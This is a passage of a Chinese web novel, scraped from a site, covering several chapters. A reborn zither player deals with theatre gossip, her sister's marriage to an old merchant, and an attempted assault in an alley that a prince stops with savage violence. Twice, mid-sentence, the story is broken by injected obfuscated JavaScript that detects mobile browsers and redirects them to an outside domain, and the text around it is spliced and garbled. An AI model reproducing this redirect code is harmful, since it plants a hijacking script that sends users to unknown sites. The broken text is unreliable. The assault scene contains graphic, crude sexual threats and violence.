谁还不知道尹长寻游手好闲惯了，可是偏偏命生得好得很。 作为皇子，皇上溺爱。 作为兄弟，兄长偏爱。 所以他游手好闲、无所事事，不像寻常皇子一样需要严加管教，更不会受到苛责。 旁人再怎么拍马屁，也是不会拍尹长寻多大公无私的。 一个都没干过活的人是不能夸他体力好的，同理，一个吊儿郎当的人你是不能夸他明察秋毫的。 拍马屁虽然都是夸大其词，但是也不能信口胡诌。 不然说的话和捧着的人毫无关联，那就很有可能人没有哄好，反而拍到了马蹄子身上。 尹长寻一个出生起就不管事的皇子，但凡想清楚了，吹什么也不会吹他铁面无私。 祈今歌道：“您在我眼中，的确就是这样一个人。若我需要奉承您、讨好您，我早就这么做了，何须等到现在？所以说，我的确是发自真心。” 要知道，祈今歌之前还对尹长寻避之不及，哪里像有讨好尹长寻的想法。 便是现在，知道尹长寻的心意，她也只不过是不再逃避而已。 离讨好这种程度八竿子打不着。 所以祈今歌的确是发自真心。 虽然尹长寻不明白祈今歌为何通过这一件事就如此笃定他的品性，不过他好不容易听到祈今歌说了他几句好话，他心里的确是开心的。 尹长寻轻咳了一声，收敛了笑容，尽力维持着他平日在外人面前那副波澜不惊的高冷模样。 他双手环胸，道：“是吗？那你眼光挺好。” 祈今歌看着他微微弯起的眼角，心道，上一世的尹长寻她猜不透，这一世的尹长寻偏偏又最好懂。 明明高兴的不行，还要作出一幅不在乎的态度，还真是别扭。 祈今歌又道：“不过，哪怕大多数人都认为王爷您全然出于公平才如此，也还是免不得有人认为您如林悦兮所说，是被我迷惑才如此。” 尹长寻倒是满不在乎，往椅子后背一靠，满不在乎道：“他们怎么想，与我何干，再说……” 再说他确实被祈今歌迷惑了。 也算不得是造谣。 祈今歌疑惑:“再说什么？” 尹长寻不回答只道:“没什么，对了，你刚刚说，只有和你心意的礼物，你才会收下。这么说来，我送你的流霞琴甚合你心意？” 他像是个朝着邀功的小孩，迫不及待地想让祈今歌这个“大人”承认他的与众不同。 祈今歌一时间都有些怀疑，前世记忆里那个冰冷的尹长寻是不是自己记忆错乱后想象出来的。 前几日给自己送琴，今天又替自己解了围，她和尹长寻的关系颇为有些剪不断理还乱，但是此刻面前的男子纵然是个陌生人，祈今歌也是得记得对方的好的。 于是她再也摆不出那淡然的表情，声音也不自觉地柔了几分:“嗯。” 尹长寻得意地哼笑了一声，原本就好起来的心情又好上了几分。 他来百影楼来的不多，倒不是因为他不想来，也不是因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他一口拒绝，轻轻拽着祈今歌的手，一把将她从座椅上引了起来，道:“你有拒绝我的时间，我早就把你送到家了。” 少年的手心炙热，几乎是毫不费力地包裹住她的手掌，温暖瞬间沿着指尖传递了祈我今歌的肌肤中，一种触电般酥麻的感觉席卷而来，让她手指下意识地蜷缩起来。 她有些慌慌张张地收回了自己的手臂，同时也在内心鄙视自己，怎会如此矫情？ 上一辈子和尹长寻也不知睡了多少次了，赤身相对都已经习以为常了，怎么现在碰个小手还紧张的不行。 尹长寻见她猛的抽回了手，先是愣了一瞬，但见她脸颊绯红，嘴角又不受控制地上扬。 “走不走？不走我就抱你上车。” 祈今歌倏地睁大了眼睛，瞳孔中映尹长寻的肆意又张扬的眼神。 尹长寻什么时候还学会了耍流氓的本事？！ 她想到了上一次尹长寻轻触发丝的触感。 她确信，如果自己不答应，尹长寻可能真的会把她强行抱上车。 唯一的区别便是，眼前的流氓在动手之前甚至还会问上一句，给她一次选择的权利。 祈今歌可不想这幅场景被他人看到，到时候她真会找条地缝给自己埋起来不可。 于是她只好再一次顺了尹长寻的意，在他凝视的目光下点了点头。 32. 婚事 林悦兮第二天便没有再来。 人虽然不在了，关于她的传闻倒是一点不少，一字不差的落入了百影楼众人的耳中。 这世上有人排第一，便有人排第二。 戏院也是一样的。 林悦兮离开了最红火的百影楼，不久后便转身投入了云州排行第二的香戏阁。 若是论起香戏阁的经营历史，说起来还要比比百影楼久远一些，但是做生意也没有讲究先来后到的规矩，不是谁先开门谁就能做老大，后来者居上，香戏阁这么多年反而一直被百影楼压了一头，戏院的东家一直苦于自家的生意只能成万年老二，愁着怎么做大做强，各种方法都试过了，可是依旧无济于事。 眼下百影楼最为中流砥柱的戏子转头奔向自己，但是这对香戏阁的老板来说，无疑是天大的好事。 很快，又有其他的流言传来出来。 比如，林悦兮是被百影楼的众人排挤出来的，虽然她给百影楼赚了不少钱，可是一直看尽脸色，过得很不如意。 又比如，听说带头欺负林悦兮的，是百影楼内刚来的一位貌若天仙的新琴师，此女心思歹毒，仗着长得漂亮，将新来的东家迷的神魂颠倒，纵容她逼迫林月兮离开。 总之，是越传越离谱。 俨然把百影楼的人说的像是恃强凌弱的恶霸，把祈今歌说的像是祸国殃民的妖妃，把尹长寻说的像是昏庸无道的君王。 至于这话最开始是从谁嘴巴里传出来，答案不言而喻。 百影楼的人又不是没见过林悦兮那张小嘴颠倒黑白的本事，以前顺着她的时候，她尚且对事实添油加醋，如今离开了百影楼，那还不得新仇旧恨一起算，把他们所有人污蔑个遍不可？ 只是这话传是传出去，信不信又是另一回事了，对于大多数事不关己的看客来说，无非是当茶余饭后的闲谈听了，耳朵进右耳出，倒也没多少人当回事。 林悦兮去了香戏阁以后，的确是吸引了一部分人前去，百影楼的生意较之往日，也的确差了一些。 林悦兮和李衡好比是百影楼的左臂右膀，如今百影楼自断一臂，哪有不痛的道理？ 就连香戏阁的东家看着自家的戏院内门庭若市，生意越来越蒸蒸日上，他都认为自己很快便要一雪前耻，百影楼很快就要排在他的屁股后面了。 但是仅仅过去了半个月，香戏阁的热闹便彻底散尽了，又恢复了往常的样子。 一再打听，原来是百影楼不知道从哪里挖掘了个唱曲的新人，名曰曲白灵，盘靓条顺，长得很是标致。 原本是名不见经传的一号人，在百影楼的大力宣扬下，头次出场就一炮而红，让元气大伤的百影楼瞬间恢复了往日的热闹。 人总是图新鲜的，林悦兮虽然值得一看，但是毕竟也看了好几年了，现如今有个后起之秀横空出世，没有不去看一眼的道理。 一时间，也不知道多少人踏破门槛，就图见美人一面。 曲白灵瞬间变得家喻户晓。 反而是原来冲着林悦兮来的客人越来越少了。 这下大家都明白了，百影楼之所以能够长盛不衰，并不是某个名角帮助百影楼打响了名号，而是百影楼成就了名角。 而香戏阁输就输在这。 他们家没有捧出名角的能力。 一代新人换旧人，所以曾经不可一世的林悦兮离开了百影楼，也逐渐变得无人问津。 也正是明白了这个道理以后，不久之后，又有传闻流散，说香戏阁的东家对林悦兮也没当初那般的好脸色，而阁里的其他人也看清了这位轰动一时的花旦不过是个外强中干的货色，也时常冷脸给她看。 原本林悦兮编造出来关于她自己的悲惨处境，竟然以这样一种扭曲的形式实现了。 祈今歌听到这些传言，倒也不会幸灾乐祸。 毕竟说到底，两人再爆发冲突之前，原本也就没说过几句话。 林悦兮现在过得悲惨也好，幸福也罢，既然已经离开百影楼，那日后便是和自己八竿子打不着的陌生人。 对于陌生人的传闻，她还能有什么反应？ 她依旧是如之前一般过着按部就班日子。 当然，也有了一些变化。 其一，虽然当日林悦兮点名了她手中那张流霞琴的价值，借此想要污蔑她并不清白，不过事后证明，林悦兮的手段没起多大的作用，毕竟就算是有金主，在戏院这个地方也不过是司空见惯的事，尽管祈今歌并未澄清，但是她依旧是和之前一样，同百影楼的人有说有笑。 毕竟祈今歌从未自诩过多清高，这只不过是他们在脑海中擅自把她架在了高空。 加之某种程度上她还顺带给平常被林悦兮欺压的人出了一口恶气，彼此之间反而更加熟络了起来。 其二，祈今歌发现往日来找自己的宾客好像约好了一般，齐齐消失了。 具体表现为她再也没收到过他人送过来的礼物，也没有人再约她私下相见。 按理说，戏楼的生意兴隆了起来，她的名字也被越来越多的人知道，瞬间变得无人问津，怎么也有点不合理。 毕竟纵然是姿色平平的王水闲，偶尔也能收到客人的小礼品。 更何况祈今歌之前拒绝了那么多人以后，来找她的人依旧是络绎不绝。 但是事实就是，自从林悦兮离开以后，祈今歌一下子就仿佛生活在净土之中，彻底无人打扰。 就连那位之前信誓旦旦一定要拿下祈今歌的刘羽归也彻底没了音信。 若是一般人，恐怕是恼了自己没有此等受追捧的机会，心中不知道落差有多大。 但祈今歌对这种状态再满意不过，她实在是疲于应付这些客人。 祈今歌没作多想，甚至没有多问一句，只觉得如今来了新的花旦，自己又“不识好歹”，总是不给面子，从不赴约，客人当然是注意不到在她的身上了。 其三，便是曲白灵声名大噪以后，明正趁热打铁，让乐师给曲白灵量身大作了新的戏曲。 现在百影楼一堆人都在临阵磨枪，赶紧练习新编排的曲目，竟然都有些忙不过来了。 祈今歌虽然也是和大伙一同忙得不行，但是意外地觉得充实。 这日几人在练功房排演完毕，王水闲把笛子别在了腰上，转身去茶水间饮了一杯水。 等她回来的时候，发现其他人都已经开始休息了，只有祈今歌还在看新发下来的乐谱。 王水闲走到了祈今歌身边，递了拍了拍她的肩膀，将手中倒满了水的茶盏递了过去。 她眨了眨眼睛，道：“好姐姐，休息休息，都练了一早上了。” 王水闲初见祈今歌的时候，只觉得她长得十分漂亮，一副柔柔弱弱的模样，以为是个娇软无力的美人。 可直到这些天与她接触以后，才发现做人还是不能以貌取人，她的判断简直错的离谱。 祈今歌不光不柔弱，相反她坚强又认真，和外表给人的感觉截然不同。 例如，大家都珍惜在百影楼干活的机会，所以平日里对待演出和排练都是不敢敷衍的。 可偏偏是天赋最高的祈今歌最 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如此长年累月，导致祈今歌已经形成了习惯，若是要完成任务一样的目标，就总会不遗余力，只想尽快地完成要求。 祈今歌朝着周围看了一圈，发现除了王水闲，还有一部分人的目光也是注视着自己的一举一动。 颇有一种你不休息大家都不敢休息，哪怕休息了也没办法安心休息的意味，于是她将茶盏稳稳地接了过来，体贴道：“好。” 在场其余的人见她表了态，紧绷的弦才松懈了，纷纷谈起了这些天发生的趣事。 祈今歌一边听着，一边轻抿着茶水。 “哎哎哎，你们听说了吗，鲁老爷要纳妾了，近些天传的沸沸扬扬呢！” “鲁老爷？那个鲁老爷？” “还能是谁！当然是我们的云州首富鲁庆大老爷啊！” “哦？是他！” “那不都成了个糟老头子了吗，我记得两年前他不是才纳了个年轻貌美的小妾吗，怎么还不歇息？那身子骨吃得消吗？” “人家有钱！又不是养不起。再说，你这话未免有些夸张了，糟老头子倒是不至于，顶多是新纳的女人和他在上京做生意的儿子差不多大罢了！” “那这次又是哪户的女人家？说起来这鲁老爷倒也不干强抢民女的事，我看也是一个愿打一个愿挨罢了。” “哈哈，那你算问对人了，我听说是殷府的人，听说好像是殷夫人的义女！” “义女？这殷夫人每隔几年都能和达官贵人结为亲家，她到底有多少个‘义女’？不就是她养在家中的妓女嘛！” “嘘，你可别瞎说，这话在这说说得了，出了百影楼的大门可别瞎说。人家对外说是义女，咱们就姑且听着，何必较真呢？你要是被那夜叉一样的殷夫人听着敢背后议论她，可没你好果子吃。” “那这名女子是个何许人物？快说出来听听。” “听说这女子正值妙龄，长得国色天香，说是几天前殷夫人宴请之时鲁老爷一见钟情，见之难忘！名字我听别人说，似乎是叫祈明珠！” 啪！ 茶杯摔落在了地上，发出刺耳的破碎声。 所有人有些诧异地看了过来，只见祈今歌的脚下，杯子碎了一地。 “姐姐，你怎么了？烫到手了吗？” 说完王水闲就回过神来，不对啊，她倒的茶水是凉的啊。 祈今歌勉强地笑了笑，俯身伸手去捡散落在地上的碎片，恍然若失道：“我没事。” 33. 危险 “若是无事，大家收拾完便可以自行离开。” 听到叶威喊出下工的指示，祈今歌不由得松了一口气。 她捶了捶背，这几天是院内的新花旦曲白灵的新节目正式登台表演的日子，百影楼内座无虚席，尽管有别的琴师轮换，但是今日她几乎是坐着弹奏整整一整天，只觉得腰酸背痛。 所幸所有辛苦都是值得的，演出的效果非常好，如果说以往百影楼生意的红火是烧的正旺的火焰，在一个月的沉寂以后，曲百灵的出现无疑是“火上浇油”，让这团火焰更为明亮了。 就连祈明珠偶尔去一趟饭馆茶楼，也总能听到一群人兴致昂扬地讨论着曲白灵。 曲白灵俨然已经红极一时。 至于这段时间百影楼多赚了多少钱，祈明珠就不得而知了。 反正叶威接了尹长寻的指示，这个月除了发放月钱之外，还给每个人都额外了十两赏银。 原本只有女子对尹长寻和明正心有好感，毕竟这两位皮囊生得好看，便只是远远观望，也是赏心悦目，的确是没有讨厌的理由。 但是现在情况有了变化。 戏院内的男子见新东家如此大方，从老到少，也纷纷臣服在了金钱的力量之下，都对明正以及尹长寻赞不绝口。 提起明正，那是眼光好，一下便把曲白灵从一个小戏院子里捞出来，结束了她坐冷板凳的生涯，避免了明珠蒙尘。 谈起尹长寻，那便是有骨气，不像别的东家捧着林悦兮，反而有勇气启动一个名不见经传的小优伶，实在是魄力十足，人尽其用。 虽然说夸的有些夸张了，拍马屁拍得有些明显，但是总的说起来，也不算没谱。 毕竟祈今歌也从这件事上，看到了两人不同的一面。 若是论前世，祈今歌对明正虽然说不讨厌，可也知道他的确是个浪荡公子，成天没什么正形，整日泡在脂粉堆中，以此为乐。 云州城中，谁又没笑话过他呢？ 都说明守义这一生清正廉洁，克己奉公，可是生了个儿子却是游戏人间，百无一能。 目前可见，这话还是说得太早了。 至少明正混在女人堆里，这些女人有什么本事，他还是了若指掌。 否则也断然不可能这么短的时间内选出曲白灵来。 至于尹长寻？ 将找人这一任务交给明正，也称得上是知人善用了。 想到这，祈今歌愣了一愣。 这几日也没看到尹长寻，也不知道他忙些什么去了？ 她正想着，王水闲挽着安碧的胳膊朝着她走了过来。 “好姐姐，还不回去吗？” 王水闲和安碧住在相邻的两条街道，隔得不算很远，因此她们二人现在每日都是同来同归。 祈今歌摇了摇头：“今天迟点再走，我要收拾些东西，估计还得有一会。” 安碧点了点头，朝门外看了一眼。 此刻日光尚存，血色夕阳给整个厅堂都镀上了一层暖色。 安碧道：“那你也早点回家，不然过会天都黑了。” 嘱咐过后，二人向朝祈今歌挥手告别。 祈今歌起身去后院接了一盆清水过来，掏出袖中的手帕，将帕子打湿后细细地清洁了流霞琴，确保每一处都是一尘不染。 处理完毕后，她又将身上带着的小瓷瓶打开，将里面装着的的核桃油均匀涂抹在了琴身上。 一套操作下来，算是对古琴完成了最基本的养护。 其实百影楼提供的寻常古琴虽然也算得上良品，但比起尹长寻重金所购置的流霞琴还是相去甚远。 祈今歌向来爱琴，无论贵贱，她都爱惜有加，更何况眼前这架古琴是花了如此多的钱财买回来的，她没有理由不去更加爱惜。 等她忙完走在街上之时，黄昏已经散去了最后的余晖，黑暗笼罩住了天空，街上来来往往的行人比起白天也少了很多，只有零星几人，稀稀拉拉地分布在街道上。 天色已暮，整个柳州褪去了白日的喧嚣，所幸一轮明月也从山头升起，为夜色点燃了一抹光明。 独自一人，祈今歌的脑海不免想起前些日子的所见所听。 想来想去，绕不去的便是祈明珠即将大婚之事。 理智告诉自己她对这个妹妹已经仁至义尽，但是她依旧对祈明珠的选择感到唏嘘。 上辈子两人一同嫁入庆王府，几乎所有人都是羡慕的、甚至是嫉妒的，毕竟尹长寻几乎挑不出什么毛病。 可是鲁家的那位鲁庆大老爷不一样，他再有钱，也已经年过五十，到了垂垂老矣的年纪，除此以外，他不光有妻儿，还有好几房的妾室，这样的人，也不是每个人都拉的下脸伺候的。 因此对于这桩即将大操大办的婚事，羡慕的也有，但是看笑话的更多。 祈今歌回过神来，旋即又在心里告诫自己，不应该再多管闲事了。 祈明珠不是没有选择的能力，若是她不想，她可以选和自己一样离开殷府，可是她依旧还是走了这条路。 今后她是好是坏，都与自己无关。 这样想着，祈明珠迈入了凤银巷的入口，还需要再转上上几个弯道才能走到自己家。 路况有些复杂，祈今歌最初搬过来以后，也是花上了一段时间才彻底记住。 她正在狭窄小巷往前走着，借着明月，她突然注意到原本地上单薄的影子，突然间被拉的很长。 她心里不由得一惊，很明显，这并不是她的影子。 根据身形判断，也不是女子的影子。 周围太过安静，空气中弥漫着一股肃杀。 她不由得放慢了脚步，凝神屏气，便听到了隐隐约约的脚步声。 有人跟在她的身后，并且还刻意放慢了步伐，几乎是没发出什么动静。 祈今歌的心瞬间砰砰直跳。 黑灯瞎火，身旁又没别的人在，她实在是没法忍不住多想。 若是正常走路，大可以大大方方，为何要特意放轻步伐？ 就好像是特意不想让她发现一般？ 她不敢回头，看着几乎要将她的后背笼罩住的黑影，感受到一种巨大的压迫感，鸡皮疙瘩都起了一地。 此刻她所处的位置尤为特殊，这一小段周边没有任何人家，若是真如她心中所想，她甚至喊救命也无济于事。 为避免打草惊蛇，她悄然加快了步伐，只想尽快走出这个巷道，只要道前面的路口再转一个弯，就能看到别户人家的灯火，她便能安全许多。 无奈身后之人的注意力全然放在祈今歌身上，尽管祈今歌的动作并没有多明显，可还是悉数落入了眼中。 她快一分，后面的男人的步伐便快了三分，两人的影子之间越来越逼近，近到几尽要重叠到了一起。 祈今歌的心跳到了嗓子眼，恨不得拔腿就跑。 不管身后的男人想干什么，总不可能是好事，不是劫财就是劫色，不管是哪一个，都是她不愿意发生的。 她明白男女之间力量悬殊，她就算拼死反抗，面对男子压倒性的力量，她可以说是毫无胜算。 祈今歌刚想拉开距离，可是还没迈动步子，身后的男人敏锐地察觉到了她的意图，粗暴地将她的手臂一把抓住，高举抵在过道的墙上，将祈今歌围在了身下。 “跑什么跑！老子等你等多久了？可把老子想死了！” 男人嗓音粗哑，说话的声线像是走调的破锣，听起来分在怪异。 他吐出的一字一句之中，皆是欲望的流露，足以让祈今歌不寒而栗。 男人低头望向被自己禁锢的女人。 她此刻看起来很是紧张，尽管她努力克制着，但借着微弱的月光，男人细细地打量着她的身体每一处，最后目光落在了那两处浑圆上，看到她的胸脯微微起伏着，目光便一刻也挪不开。 微小的动作却足已疯狂刺激男人，一双混浊的眼睛在此刻泛着光。 明明已经出发之前还喝了点酒，他却只觉得现在的嗓子干渴地要命，不住地往里面吞咽着口水。 “乖乖，那臭娘们说和她一样好看，我当初还以为是吹牛呢，奶奶的，这么近看，那可是比她漂亮多了。” 他吞了口唾沫。伸出舌头舔了舔嘴唇，一幅垂涎欲滴的模样，又笑嘻嘻道：“不枉我蹲着你守了好几天，终于等来了机会了。大美人，你是不知道，这几天我在暗处看着你，可是把我魂恩客勾没了，晚上天天做梦都是你。没想到这种好事也是落我张麻子手上了，老子受了这么多的苦，现在可以上这么漂亮的女人，甚至还有钱拿，真是老天爷开眼啊！” 男人言语粗俗露骨，远比祈今歌以前见过的所有客人还要口不择言。 张麻子…… 祈今歌想起来了，附近这一片是有个外号叫张麻子的男人，因满脸麻子而得此称号，听闻她无妻无女，原本就是个游手好闲，无所事事之人家，早几年因为偷盗伤人还蹲过大牢。 只是看他今天的模样，蹲监狱的日子不光让他没收敛 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于是祈今歌强迫自己迅速镇定下来，将自己的恐惧尽量压抑，转而露出一个明媚的笑容，用甜的掐得出水声音道：“大爷，您说您急什么？您既然看得起小女子，小女子还有不答应的道理吗，只不过这地方实在是施展不开，不如咱们换个地方，也更好寻欢作乐啊？” 张麻子没想到刚刚还祈今歌突然换了副嘴脸，瞬间变得这么听话。 在他的印象里，遇到过这种情况的女人，不是惊慌失措，就是大呼救命，像祈今歌这么配合的，倒是第一次。 不过，这不难想通。 这种戏院子里的女人不都挺随便吗？又不是什么贞洁烈女，还玩上什么宁死不屈的戏码，现在服软从了他也不奇怪。 祈今歌瑟瑟发抖，但是又鼓起勇气卖媚的样子足以让任何一个男人血脉喷张。 张麻子有些迫不及待了。 虽然他不介意用强的，可是机会难得，他还是更喜欢女人主动点。 他心情大好，伸出右手指着前方不远处的空地，欣然应允。 “行，我看那边那边还算宽敞，不如就在那里把事情办了。” 纵然祈今歌的配合让这个登徒浪子放松了一些戒备，但是他还是保留了一丝警惕，那就是绝对不能让这个大美人跑了。 “好的，那现在咱们就过去好了。”祈今歌的声音微微颤抖，但是她嘴上不停地表示自己不会反抗，“爷，我一定伺候好您。” 男人转身让出一条缝，正准备带着祈今歌往前方走去。 祈今歌知道这是唯一能够逃跑的机会，她的力气根本不是张麻子的对手，一旦没有把握机会，自己将只能任人宰割。 她直接用尽全身力气冲了出去，甚至将张麻子撞得退后了一步。 事发突然，张麻子根本没有反应过来。 再回过神来，祈今歌已经脱离了他的掌控，不要命似地狂奔。 “娘的，老子就说没有这么便宜的事！” 张麻子恶狠狠地咒骂着，随后立马朝着祈今歌奔跑的方向追了上来。 尽管他带着些许醉意，却丝毫不耽误他的行动，很快他便拉近了两人之间的距离。 脚步声越来越近，祈今歌一步都不敢慢下来，甚至不敢回头看一眼，只觉得心脏蹦地像要炸裂开来。 眼前出现了分叉口，祈今歌咬咬牙，直接右拐跑了进去。 然而还没前进几步，她却立马傻了眼。 眼前已经无路可走。 这是一条死路！ 该死，她实在是太紧张了，竟然忘记这条路竟然是死胡同！ 一瞬间祈今歌内心的绝望像潮水一样袭来。 “跑啊！怎么不继续跑了！不是很能跑吗！臭娘们，还有胆子和我耍心眼！” 祈今歌转身，张麻子已经跟了上来，眼中放着邪光，肆无忌惮地发出□□的笑声。 她像一只待宰的羔羊，已然无路可退。 绝望如同冰冷的潮水，将她彻底淹没。 她的手指无意识地揪着衣角，指节泛出青白。 无论如何，她都得先活着。 祈今歌合上了眼帘，无助地等待接下来会发生的一切。 然而片刻之后，这刺耳的笑声戛然而止。 “啊啊啊啊啊啊啊！！” 取而代之的，是男人惨烈的嚎叫声。 34. 恐惧 祈今歌睁开了眼睛，只见张麻子的五官近乎于扭曲，几乎挤在了一块，显露出极其痛苦的表情。 他的右手被人往后擒住，身体前屈，好似跪在了自己面前，随着一声清脆的“咔哒”声，叫得更为惨烈。 张麻子想要转头看清来人，可是手臂被固定的太死，另他根本动弹不得，短暂地挣扎几下无果后，剧烈的疼痛让张麻子开始破口大骂。 “你他娘的是谁啊？在这狗拿耗子多管闲事！他奶奶的，放开老子，快放开！” 豆大的汗珠从额不冒出，身子撕裂般的扭曲感让张麻子既痛苦又极度愤怒，让他开始疯狂辱骂了坏他好事的人。 尹长寻。 祈今歌在心中默念出了这个名字。 即使视线昏暗，祈今歌还是一眼就认出了他。 是尹长寻救了自己。 祈今歌劫后余生，又是惊喜，又是惊讶。 淡色的月光镀在了他身上，少年刀削般的侧颜被勾勒得更加明显，突然的现身只让祈今歌觉得他如天神降临。 他就这样出现在了她的面前。 仅仅只用一只手，他便制衡住了张麻子，令他动弹不得。 祈今歌前世曾偶尔得知，尹长寻在孩童之时，曾经跟着她身边的两个贴身护卫阿左和阿右学过武艺。 但是她也仅限于听说，并未亲眼看到过尹长寻显露过身手。 因此尹长寻到底是什么实力，祈今歌并不清楚。 毕竟庆王要是想解决谁，哪能用得着他自己亲自出手。 没想到首次得见，竟然是在这样危急的情况下。 尹长寻这次难得没有将目光放在祈今歌的身上，他的神情依旧是冰冷的，但是眼神中带着嫌恶和愤怒。 他一动不动地死盯着张麻子，恨不得将面前的渣滓撕碎殆尽。 见尹长寻不答话，自己又挣扎无果，张麻子知道硬的肯定是行不通了，只能来软的。 他立马变换了一副嘴脸，又求饶道:“好汉，大爷，大哥！您到底想怎么的啊？您也看上了这个大美人？是的话您就和小的说一声啊，您要是不介意，咱们可以一起玩儿，实在不行，您先吃够了我再吃您剩下的也行啊！” 他满嘴污言碎语，简直是不堪入耳，饶是祈今歌在风雪场荤话听多了，也不由得气的发抖。 “你找死？” 祈今歌还未出声，尹长寻冰冷的话语先她一步，飘荡在了夜空之中，杀意渐浓。 他一只脚直接重重地踩上了张麻子的背。 祈今歌不知道他用了多大的力气，但是她明显注意到张麻子的上半身往下一沉，随即她便听见了张麻子口中一声更为沉重的抽噎声。 扭曲的姿势让他只觉得肩膀即将脱臼，压在他背上的那双腿似乎恨不得将他碾入尘埃。 张麻子原本就是地痞流氓，没什么本事，只不过是单纯的长得壮而已，空有一身蛮力，欺负女人倒是不在话下，倒是如果遇到练家子，那等着他的只有吃瘪。 他根本就不是身后之人的对手！ 他毫不怀疑，要是自己再出言不逊，他的胳膊甚至可能被扯下来！ 于是他哭天喊地道：“大爷！大爷饶命！小的错了！您要是喜欢这个女人您就带走！只要绕小的一命，小的立马有多远滚多远！” 张麻子的求饶声情真意切，然而却让尹长寻更加厌恶。 又是一声清脆的“咔哒”声。 惨叫震耳欲聋。 祈今歌知道，张麻子的胳膊已经彻底废了。 尹长寻直接一脚将张麻子踹飞。 张麻子直接吐出了一口鲜血，全身大汗淋漓，瞬间气若游丝。 “饶命……饶……命……” 尹长寻却并没有放过他的打算，他径直走上前，又是狠踹几下，男人直接趴在了地上，已然奄奄一息，就连求救声都发不出来了。 但尹长寻的动作依旧没有停下。 看着眼前的场景，祈今歌脑海中突然不受控制地闪烁过自己临死之前的场景。 死亡的阴影瞬间将她包裹的密不透风。 逃过一劫的欣喜被记忆中的恐惧所取代。 她原本就讨厌鲜血和杀戮，惨死过后，这份恐惧和厌恶几乎是像胎记一样印刻在了她的身上上，让她挥之不去，难以摆脱。 祈今歌的声音在发颤：“王爷……放了他吧……” 尹长寻置若罔闻。 张麻子蜷缩在了地上，已经奄奄一息，脸上遍布血迹，没有了任何还手的力气。 祈今歌几乎是以一种央求的语气说道：“不要再打了......够了......” 尹长寻没有收手，他一双黑靴踩在男人的右手上，像碾死蚂蚁一样碾压着，张麻子的骨节咯咯作响，而尹长寻的星眸中是喷涌而出的疯狂。 祈今歌更是抑制不住地害怕，她顾不得身份有别，情急之下，直接跑过去环抱住了尹长寻的腰，一边大喊道：“停手！” 尹长寻背部一僵，停了手。 好一会后，祈今歌才意识到自己的行为有多出格，慌张地松开了手。 尹长寻转身看向身后的祈今歌。 借着月光，他看到她一双好看的眼睛里面含着水雾，眼神中流露出惧色，眼中那汪平静的湖水被彻底搅动， 祈今歌的眼尾有些发红，像是要落泪，又像是已经落泪。 她是真的害怕了。 他看到地痞流氓想要染指祈今歌，就已经被冲昏了头脑，别说废一条胳膊，他甚至想要对方死无葬身之地。 刚刚的他已经完全失去理智。 他怎么没想到，祈今歌此刻心里会多么害怕。 她这幅楚楚可怜的模样，着实让人心疼。 尹长寻刚想开口说话，祈今歌垂眸看了一眼瘫痪在地下的王麻子，不再言语，直接转身走了死胡同。 尹长寻赶紧追了出来。 他也有些气愤，就算自己刚刚手段凶狠了点，可自己怎么也是帮了祈今歌，不然她还不一定遇到什么事！ 她不谢她就算了，怎么还这么不识好歹！ 祈今歌看他跟在身后，更加心乱如麻，加快了离开的脚步。 手上一阵温热的触感传来。 尹长寻直接拉住了她的手。 祈今歌脸上一阵愕然。 “你准备一个人干嘛去？！” 尹长寻眉峰微敛，不满的情绪显而易见。 好不容易才逃过一劫，现在又准备大晚上的独自去哪？一点也不把她自己的安危放心上是吗？ “你……你放手。” 对方手心的温度传来，两只手握得紧紧地，探不出一丝缝隙，让祈今歌感觉粘腻又湿润。 尹长寻哪里是这等好脾气，他又加大了力度，两人的手贴合得没有一丝缝隙，看到祈今歌又羞又怒的样子，心中的怒气竟然瞬间消散了。 他道：“放了你不跑了？” 她现在神情就和只受惊的兔子一样，给点机会就连蹦带跳地要离开自己身边。 祈今歌脸红的发烫，她尝试挣扎着甩开手，却只是被握得更紧，于是她只好妥协：“我不跑，你快放开。” 尹长寻看了她许久，好半天才缓缓松了手，问道：“我说我好歹救了你，你对救命恩人就这个态度？” 当然不应该是这个态度，她应该好好感谢他。 哪怕尹长寻将张麻子打了个半死，那也是为的她。 可刚刚脑海中最不愿触及的回忆突然涌现，她只剩下了刻入骨髓的害怕。 祈今歌真诚道：“谢谢，真的非常感谢。王爷帮了我这么多次，今天又救民女于水火，今歌只觉得无以为报。” 如果是以前祈今歌说这两个字，他大概会很受用。 可是她想到刚刚她差点被玷污，便干什么都没了心情。 他胸腔中剩下的，只剩还未彻底发泄的怒气以及对祈今歌的怜惜。 “那人便是被我打死，也是死不足惜。你为何要替那人渣说话？” 尹长寻想不明白祈今歌为何要给那个人渣求情，她难道不明白，如果不是他及时赶到，她会遭遇什么吗？！ 祈今歌当然不可能将前世的经历告诉尹长寻，否则他很有可能觉得她疯了。 上辈子，祈今歌从未见过尹长寻动过手，更没见过他近乎虐杀一样对待过别人。 他向来不把别人放眼里，更别提他亲自动手。 她速来不喜欢血腥的场景，自从前世被杀以后，她就更为抗拒看到人流血。 但是她惧怕的是被血腥场景勾起的痛苦回忆。 她并不害怕尹长寻这个人。 因为她知道尹长寻的失控是因为她。 他是为了保护她。 心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457687|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重重一落。 情绪逐渐平静了下来，祈今歌抬头看向他，眼神清澈。 “我怎么会为人渣求情。我是……我是害怕了。我一个手无缚鸡之力的女子，哪里见过这等场面，所以实在是太害怕了，脑子好像也麻了一样，下意识地就想离开。” 祈今歌咬了咬唇，又道：“再说，我不想王爷您因为这种事而脏了手。” 尹长寻重复了一遍：“你不想我脏了手？” 他有些不敢相信自己的耳朵，祈今歌竟然是出于这种考虑。 她竟然会把自己放心里？ 尹长寻只觉得难以置信。 